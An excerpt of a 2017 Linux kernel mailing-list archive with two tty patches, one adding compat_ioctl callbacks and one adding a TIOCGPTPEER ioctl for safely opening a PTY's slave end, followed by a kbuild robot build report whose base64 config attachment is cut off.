In-Reply-To: <20170603141515.9529-1-asarai@suse.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2491032 gmane.linux.ports.alpha:4226 gmane.linux.ports.mips.general:59369 gmane.linux.ports.parisc:27450 gmane.linux.ports.ppc64.devel:142822 gmane.linux.ports.sh.devel:55374 gmane.linux.ports.sparc:25296 gmane.linux.kernel.cross-arch:36965
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2491032>

In order to avoid future diversions between fs/compat_ioctl.c and
drivers/tty/pty.c, define .compat_ioctl callbacks for the relevant
tty_operations structs. Since both pty_unix98_ioctl() and
pty_bsd_ioctl() are compatible between 32-bit and 64-bit userspace no
special translation is required.

Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 drivers/tty/pty.c | 22 ++++++++++++++++++++++
 fs/compat_ioctl.c |  6 ------
 2 files changed, 22 insertions(+), 6 deletions(-)

diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 65799575c666..2a6bd9ae3f8b 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -481,6 +481,16 @@ static int pty_bsd_ioctl(struct tty_struct *tty,
 	return -ENOIOCTLCMD;
 }
 
+static long pty_bsd_compat_ioctl(struct tty_struct *tty,
+				 unsigned int cmd, unsigned long arg)
+{
+	/*
+	 * PTY ioctls don't require any special translation between 32-bit and
+	 * 64-bit userspace, they are already compatible.
+	 */
+	return pty_bsd_ioctl(tty, cmd, arg);
+}
+
 static int legacy_count = CONFIG_LEGACY_PTY_COUNT;
 /*
  * not really modular, but the easiest way to keep compat with existing
@@ -502,6 +512,7 @@ static const struct tty_operations master_pty_ops_bsd = {
 	.chars_in_buffer = pty_chars_in_buffer,
 	.unthrottle = pty_unthrottle,
 	.ioctl = pty_bsd_ioctl,
+	.compat_ioctl = pty_bsd_compat_ioctl,
 	.cleanup = pty_cleanup,
 	.resize = pty_resize,
 	.remove = pty_remove
@@ -609,6 +620,16 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 	return -ENOIOCTLCMD;
 }
 
+static long pty_unix98_compat_ioctl(struct tty_struct *tty,
+				 unsigned int cmd, unsigned long arg)
+{
+	/*
+	 * PTY ioctls don't require any special translation between 32-bit and
+	 * 64-bit userspace, they are already compatible.
+	 */
+	return pty_unix98_ioctl(tty, cmd, arg);
+}
+
 /**
  *	ptm_unix98_lookup	-	find a pty master
  *	@driver: ptm driver
@@ -681,6 +702,7 @@ static const struct tty_operations ptm_unix98_ops = {
 	.chars_in_buffer = pty_chars_in_buffer,
 	.unthrottle = pty_unthrottle,
 	.ioctl = pty_unix98_ioctl,
+	.compat_ioctl = pty_unix98_compat_ioctl,
 	.resize = pty_resize,
 	.cleanup = pty_cleanup
 };
diff --git a/fs/compat_ioctl.c b/fs/compat_ioctl.c
index 6116d5275a3e..112b3e1e20e3 100644
--- a/fs/compat_ioctl.c
+++ b/fs/compat_ioctl.c
@@ -866,8 +866,6 @@ COMPATIBLE_IOCTL(TIOCGDEV)
 COMPATIBLE_IOCTL(TIOCCBRK)
 COMPATIBLE_IOCTL(TIOCGSID)
 COMPATIBLE_IOCTL(TIOCGICOUNT)
-COMPATIBLE_IOCTL(TIOCGPKT)
-COMPATIBLE_IOCTL(TIOCGPTLCK)
 COMPATIBLE_IOCTL(TIOCGEXCL)
 /* Little t */
 COMPATIBLE_IOCTL(TIOCGETD)
@@ -883,16 +881,12 @@ COMPATIBLE_IOCTL(TIOCMGET)
 COMPATIBLE_IOCTL(TIOCMBIC)
 COMPATIBLE_IOCTL(TIOCMBIS)
 COMPATIBLE_IOCTL(TIOCMSET)
-COMPATIBLE_IOCTL(TIOCPKT)
 COMPATIBLE_IOCTL(TIOCNOTTY)
 COMPATIBLE_IOCTL(TIOCSTI)
 COMPATIBLE_IOCTL(TIOCOUTQ)
 COMPATIBLE_IOCTL(TIOCSPGRP)
 COMPATIBLE_IOCTL(TIOCGPGRP)
-COMPATIBLE_IOCTL(TIOCGPTN)
-COMPATIBLE_IOCTL(TIOCSPTLCK)
 COMPATIBLE_IOCTL(TIOCSERGETLSR)
-COMPATIBLE_IOCTL(TIOCSIG)
 #ifdef TIOCSRS485
 COMPATIBLE_IOCTL(TIOCSRS485)
 #endif
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 2/2] tty: add TIOCGPTPEER ioctl
Date: Sun,  4 Jun 2017 00:15:15 +1000
Lines: 264
Approved: news@gmane.org
Message-ID: <20170603141515.9529-3-asarai@suse.de>
References: <20170603141515.9529-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496499345 18795 195.159.176.226 (3 Jun 2017 14:15:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:15:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 03 16:15:40 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dH9q4-0004Po-6e
	for glk-linux-kernel-3@m.gmane.org; Sat, 03 Jun 2017 16:15:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751336AbdFCOPj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 3 Jun 2017 10:15:39 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54872 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750997AbdFCOPg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 3 Jun 2017 10:15:36 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id BBE79AB46;
        Sat,  3 Jun 2017 14:15:34 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
In-Reply-To: <20170603141515.9529-1-asarai@suse.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2491033 gmane.linux.ports.alpha:4227 gmane.linux.ports.mips.general:59370 gmane.linux.ports.parisc:27451 gmane.linux.ports.ppc64.devel:142823 gmane.linux.ports.sh.devel:55375 gmane.linux.ports.sparc:25297 gmane.linux.kernel.cross-arch:36966
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2491033>

When opening the slave end of a PTY, it is not possible for userspace to
safely ensure that /dev/pts/$num is actually a slave (in cases where the
mount namespace in which devpts was mounted is controlled by an
untrusted process). In addition, there are several unresolvable
race conditions if userspace were to attempt to detect attacks through
stat(2) and other similar methods [in addition it is not clear how
userspace could detect attacks involving FUSE].

Resolve this by providing an interface for userpace to safely open the
"peer" end of a PTY file descriptor by using the dentry cached by
devpts. Since it is not possible to have an open master PTY without
having its slave exposed in /dev/pts this interface is safe. This
interface currently does not provide a way to get the master pty (since
it is not clear whether such an interface is safe or even useful).

Cc: Christian Brauner <christian.brauner@ubuntu.com>
Cc: Valentin Rothberg <vrothberg@suse.com>
Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 71 ++++++++++++++++++++++++++++++++--
 include/uapi/asm-generic/ioctls.h      |  1 +
 9 files changed, 76 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index f30c94ae1bdb..ff67b8373bf7 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 740219c2c894..68e19b689a00 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -91,6 +91,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 /* I hope the range from 0x5480 on is free ... */
 #define TIOCSCTTY	0x5480		/* become controlling tty */
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index b6572f051b67..674c68a5bbd0 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -60,6 +60,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
 #define FIOCLEX		0x5451
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index 49a25796a61a..bfd609a3e928 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index c9903e56ccf4..eec7901e9e65 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -93,6 +93,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
 #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 06b3f6c3bb9a..6d27398632ea 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -27,7 +27,7 @@
 #define TIOCGRS485	_IOR('T', 0x41, struct serial_rs485)
 #define TIOCSRS485	_IOWR('T', 0x42, struct serial_rs485)
 
-/* Note that all the ioctls that are not available in Linux have a 
+/* Note that all the ioctls that are not available in Linux have a
  * double underscore on the front to: a) avoid some programs to
  * think we support some ioctls under Linux (autoconfiguration stuff)
  */
@@ -88,6 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
+#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 518954e74e6d..98b004e24e85 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -105,6 +105,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83)
 #define TIOCSERGWILD	_IOR('T', 84,  int)
diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 2a6bd9ae3f8b..d1399aac05a1 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -24,6 +24,9 @@
 #include <linux/slab.h>
 #include <linux/mutex.h>
 #include <linux/poll.h>
+#include <linux/mount.h>
+#include <linux/file.h>
+#include <linux/ioctl.h>
 
 #undef TTY_DEBUG_HANGUP
 #ifdef TTY_DEBUG_HANGUP
@@ -66,8 +69,13 @@ static void pty_close(struct tty_struct *tty, struct file *filp)
 #ifdef CONFIG_UNIX98_PTYS
 		if (tty->driver == ptm_driver) {
 			mutex_lock(&devpts_mutex);
-			if (tty->link->driver_data)
-				devpts_pty_kill(tty->link->driver_data);
+			if (tty->link->driver_data) {
+				struct path *path = tty->link->driver_data;
+
+				devpts_pty_kill(path->dentry);
+				path_put(path);
+				kfree(path);
+			}
 			mutex_unlock(&devpts_mutex);
 		}
 #endif
@@ -440,6 +448,48 @@ static int pty_common_install(struct tty_driver *driver, struct tty_struct *tty,
 	return retval;
 }
 
+/**
+ *	pty_open_peer - open the peer of a pty
+ *	@tty: the peer of the pty being opened
+ *
+ *	Open the cached dentry in tty->link, providing a safe way for userspace
+ *	to get the slave end of a pty (where they have the master fd and cannot
+ *	access or trust the mount namespace /dev/pts was mounted inside).
+ */
+static struct file *pty_open_peer(struct tty_struct *tty, int flags)
+{
+	if (tty->driver->subtype != PTY_TYPE_MASTER)
+		return ERR_PTR(-EIO);
+	return dentry_open(tty->link->driver_data, flags, current_cred());
+}
+
+static int pty_get_peer(struct tty_struct *tty, int flags)
+{
+	int fd = -1;
+	struct file *filp = NULL;
+	int retval = -EINVAL;
+
+	fd = get_unused_fd_flags(0);
+	if (fd < 0) {
+		retval = fd;
+		goto err;
+	}
+
+	filp = pty_open_peer(tty, flags);
+	if (IS_ERR(filp)) {
+		retval = PTR_ERR(filp);
+		goto err_put;
+	}
+
+	fd_install(fd, filp);
+	return fd;
+
+err_put:
+	put_unused_fd(fd);
+err:
+	return retval;
+}
+
 static void pty_cleanup(struct tty_struct *tty)
 {
 	tty_port_put(tty->port);
@@ -613,6 +663,8 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 		return pty_get_pktmode(tty, (int __user *)arg);
 	case TIOCGPTN: /* Get PT Number */
 		return put_user(tty->index, (unsigned int __user *)arg);
+	case TIOCGPTPEER: /* Open the other end */
+		return pty_get_peer(tty, (int) arg);
 	case TIOCSIG:    /* Send signal to other side of pty */
 		return pty_signal(tty, (int) arg);
 	}
@@ -740,6 +792,7 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 {
 	struct pts_fs_info *fsi;
 	struct tty_struct *tty;
+	struct path *pts_path;
 	struct dentry *dentry;
 	int retval;
 	int index;
@@ -793,16 +846,26 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 		retval = PTR_ERR(dentry);
 		goto err_release;
 	}
-	tty->link->driver_data = dentry;
+	/* We need to cache a fake path for TIOCGPTPEER. */
+	pts_path = kmalloc(sizeof(struct path), GFP_KERNEL);
+	if (!pts_path)
+		goto err_release;
+	pts_path->mnt = filp->f_path.mnt;
+	pts_path->dentry = dentry;
+	path_get(pts_path);
+	tty->link->driver_data = pts_path;
 
 	retval = ptm_driver->ops->open(tty, filp);
 	if (retval)
-		goto err_release;
+		goto err_path_put;
 
 	tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
 
 	tty_unlock(tty);
 	return 0;
+err_path_put:
+	path_put(pts_path);
+	kfree(pts_path);
 err_release:
 	tty_unlock(tty);
 	// This will also put-ref the fsi
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 143dacbb7d9a..06d5f7ddf84e 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -77,6 +77,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450
 #define FIOCLEX		0x5451
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Sat, 3 Jun 2017 22:16:22 +0800
Lines: 570
Approved: news@gmane.org
Message-ID: <201706032204.E28W9WFO%fengguang.wu@intel.com>
References: <20170603135111.5444-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="2fHTh5uZTiUOsy+g"
X-Trace: blaine.gmane.org 1496499417 31155 195.159.176.226 (3 Jun 2017 14:16:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:16:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 03 16:16:50 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dH9rF-0007nR-8e
	for glk-linux-kernel-3@m.gmane.org; Sat, 03 Jun 2017 16:16:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751411AbdFCOQl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 3 Jun 2017 10:16:41 -0400
Original-Received: from mga05.intel.com ([192.55.52.43]:47407 "EHLO mga05.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751154AbdFCOQi (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 3 Jun 2017 10:16:38 -0400
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
  by fmsmga105.fm.intel.com with ESMTP; 03 Jun 2017 07:16:32 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.39,290,1493708400"; 
   d="gz'50?scan'50,208,50";a="269769910"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga004.fm.intel.com with ESMTP; 03 Jun 2017 07:16:29 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1dH9uV-000QPV-7U; Sat, 03 Jun 2017 22:20:11 +0800
Content-Disposition: inline
In-Reply-To: <20170603135111.5444-2-asarai@suse.de>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2491037 gmane.linux.ports.alpha:4228 gmane.linux.ports.mips.general:59371 gmane.linux.ports.parisc:27452 gmane.linux.ports.ppc64.devel:142824 gmane.linux.ports.sh.devel:55376 gmane.linux.ports.sparc:25298 gmane.linux.kernel.cross-arch:36967
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2491037>


--2fHTh5uZTiUOsy+g
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Aleksa,

[auto build test WARNING on linus/master]
[also build test WARNING on v4.12-rc3 next-20170602]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Aleksa-Sarai/tty-add-TIOCGPTPEER-ioctl/20170603-220322
config: i386-randconfig-x018-201722 (attached as .config)
compiler: gcc-6 (Debian 6.2.0-3) 6.2.0 20160901
reproduce:
        # save the attached .config to linux build tree
        make ARCH=i386 

All warnings (new ones prefixed by >>):

>> cc1: warning: -malign-functions is obsolete, use -falign-functions
>> cc1: warning: -malign-jumps is obsolete, use -falign-jumps
>> cc1: warning: -malign-loops is obsolete, use -falign-loops
   cc1: error: -Werror=int-in-bool-context: no option -Wint-in-bool-context
   kernel/bounds.c:1:0: error: CPU you selected does not support x86-64 instruction set
    /*
    
   kernel/bounds.c:1:0: error: CPU you selected does not support x86-64 instruction set
   kernel/bounds.c:1:0: warning: -mregparm is ignored in 64-bit mode
   make[2]: *** [kernel/bounds.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--2fHTh5uZTiUOsy+g
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
